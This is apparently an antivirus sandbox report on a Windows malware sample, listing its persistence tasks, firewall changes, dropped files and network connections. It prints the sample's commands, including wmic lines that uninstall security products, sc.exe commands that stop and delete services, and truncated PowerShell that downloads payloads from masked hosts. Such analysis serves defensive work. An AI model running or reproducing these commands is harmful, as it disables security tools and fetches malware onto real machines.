Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\blackball
- <SYSTEM32>\tasks\t4ppafwi1
- <SYSTEM32>\tasks\unzswl\vcs2hc
- <SYSTEM32>\tasks\microsoft\windows\9sixawl1\olyd0ft8ubh
Malicious functions
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\8qchkeywbh.exe' -
Executes the following
- '<SYSTEM32>\netsh.exe' firewall add portopening tcp 65529 SDNSd
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name=deny445 dir=in protocol=tcp localport=445 action=block
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name=deny135 dir=in protocol=tcp localport=135 action=block
Modifies file system
Creates the following files
- %WINDIR%\temp\kr.bin
- %WINDIR%\temp\if.bin
- %WINDIR%\temp\m6.bin
Network activity
Connects to
- 't.##6r1.com':80
- 't.##3u9.com':80
- 'localhost':43669
- 'd.###wjdu.com':80
TCP
HTTP GET requests
- http://t.##3u9.com/report.jsp?ms#################################################################################################################################################################...
UDP
- DNS ASK t.##6r1.com
- DNS ASK t.##er9.com
- DNS ASK pp##1.com
- DNS ASK microsoft.com
- DNS ASK t.##3u9.com
- DNS ASK p.##9kq.com
- DNS ASK d.###wjdu.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c function a($u){$d=[text.encoding]::utf8.getbytes((new-object IO.StreamReader([net.webrequest]::create($u).getresponse().getresponsestream())).readtoend());$c=$d.count;if($c -gt 173){$b=$d[17...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\1gtut1qy.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESDF57.tmp" "%WINDIR%\Temp\CSCDF47.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\dhx2k1uc.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES95CA.tmp" "%WINDIR%\Temp\CSC95B9.tmp"' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%Eset%'" call uninstall /nointeractive
- '<SYSTEM32>\sc.exe' Delete system
- '<SYSTEM32>\sc.exe' Stop system
- '<SYSTEM32>\sc.exe' Config system Start= Disabled
- '<SYSTEM32>\sc.exe' Delete Microsoft
- '<SYSTEM32>\sc.exe' Stop Microsoft
- '<SYSTEM32>\sc.exe' Config Microsoft Start= Disabled
- '<SYSTEM32>\sc.exe' Delete lsass
- '<SYSTEM32>\sc.exe' Config Oracleupdate Start= Disabled
- '<SYSTEM32>\sc.exe' Stop lsass
- '<SYSTEM32>\sc.exe' Delete "Microsoft Telemetry"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES95CA.tmp" "%WINDIR%\Temp\CSC95B9.tmp"
- '<SYSTEM32>\sc.exe' Stop "Microsoft Telemetry"
- '<SYSTEM32>\sc.exe' Config "Microsoft Telemetry" Start= Disabled
- '<SYSTEM32>\sc.exe' Delete SVSHost
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\dhx2k1uc.cmdline"
- '<SYSTEM32>\sc.exe' Stop SVSHost
- '<SYSTEM32>\sc.exe' Config lsass Start= Disabled
- '<SYSTEM32>\sc.exe' Delete \gm
- '<SYSTEM32>\sc.exe' Delete National
- '<SYSTEM32>\sc.exe' Config CLR Start= Disabled
- '<SYSTEM32>\sc.exe' Stop National
- '<SYSTEM32>\sc.exe' Config National Start= Disabled
- '<SYSTEM32>\sc.exe' Delete Sougoudl
- '<SYSTEM32>\sc.exe' Stop Sougoudl
- '<SYSTEM32>\sc.exe' Config Sougoudl Start= Disabled
- '<SYSTEM32>\sc.exe' Delete WmdnPnSN
- '<SYSTEM32>\sc.exe' Stop WmdnPnSN
- '<SYSTEM32>\sc.exe' Config SVSHost Start= Disabled
- '<SYSTEM32>\sc.exe' Config WmdnPnSN Start= Disabled
- '<SYSTEM32>\sc.exe' Stop \gm
- '<SYSTEM32>\sc.exe' Config \gm Start= Disabled
- '<SYSTEM32>\sc.exe' Delete sysmgt
- '<SYSTEM32>\sc.exe' Stop sysmgt
- '<SYSTEM32>\sc.exe' Config sysmgt Start= Disabled
- '<SYSTEM32>\sc.exe' Delete CLR
- '<SYSTEM32>\sc.exe' Stop CLR
- '<SYSTEM32>\sc.exe' Stop Oracleupdate
- '<SYSTEM32>\sc.exe' Delete Oracleupdate
- '<SYSTEM32>\sc.exe' Delete xWinWpdSrv
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn UNzsWl\vCs2Hc /F /tr "powershell -c PS_CMD"
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \T4PpaFWI1 /F /tr "powershell -c PS_CMD"
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 120 /tn blackball /F /tr blackball
- '<SYSTEM32>\cmd.exe' /c C:\Progra~1\Malwarebytes\Anti-Malware\unins000.exe /verysilent /suppressmsgboxes /norestart
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%Norton Security%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%AntiVirus%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractive
- '<SYSTEM32>\schtasks.exe' /run /tn \T4PpaFWI1
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%Security%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%avp%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%avp%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%avast%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%avast%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%Eset%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%Security%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c echo try{$localKr=$flase;New-Object Threading.Mutex($true,'Global\eLocalKr',[ref]$localKr)}catch{};$ifmd5='b7a1cfd74661361f71856388dac5aaa6';$ifp=$env:tmp+'\kr.bin';$down_url='http://d.#####...
- '<SYSTEM32>\sc.exe' Config xWinWpdSrv Start= Disabled
- '<SYSTEM32>\schtasks.exe' /run /tn UNzsWl\vCs2Hc
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESDF57.tmp" "%WINDIR%\Temp\CSCDF47.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\1gtut1qy.cmdline"
- '<SYSTEM32>\netstat.exe' -anop TCP
- '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa /F
- '<SYSTEM32>\cmd.exe' /S /D /c" echo try{$localKr=$flase;New-Object Threading.Mutex($true,'Global\eLocalKr',[ref]$localKr)}catch{};$ifmd5='b7a1cfd74661361f71856388dac5aaa6';$ifp=$env:tmp+'\kr.bin';$down_url='http://...
- '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa1 /F
- '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa2 /F
- '<SYSTEM32>\sc.exe' Stop xWinWpdSrv
- '<SYSTEM32>\netsh.exe' interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
- '<SYSTEM32>\cmd.exe' /c netsh.exe firewall add portopening tcp 65529 SDNSd
- '<SYSTEM32>\cmd.exe' /S /D /c" echo try{$localTMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalTMn',[ref]$localTMn)}catch{};$ifmd5='dcd9144d509e7c6e1e63ecdd7e50e935';$ifp=$env:tmp+'\m6.bin';$down_url='http...
- '<SYSTEM32>\cmd.exe' /c echo try{$localTMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalTMn',[ref]$localTMn)}catch{};$ifmd5='dcd9144d509e7c6e1e63ecdd7e50e935';$ifp=$env:tmp+'\m6.bin';$down_url='http://d.##...
- '<SYSTEM32>\cmd.exe' /S /D /c" echo try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='382631d059c944c05ecd2e0a08c945bc';$ifp=$env:tmp+'\if.bin';$down_url='http://...
- '<SYSTEM32>\cmd.exe' /c echo try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='382631d059c944c05ecd2e0a08c945bc';$ifp=$env:tmp+'\if.bin';$down_url='http://d.#####...
- '<SYSTEM32>\schtasks.exe' /run /tn MicroSoft\Windows\9SixAwl1\OlYD0ft8uBH
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\9SixAwl1\OlYD0ft8uBH /F /tr "powershell -c PS_CMD"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c function a($u){$d=[text.encoding]::utf8.getbytes((new-object IO.StreamReader([net.webrequest]::create($u).getresponse().getresponsestream())).readtoend());$c=$d.count;if($c -gt 173){$b=$d[17...
- '<SYSTEM32>\sc.exe' Config Nationaaal Start= Disabled
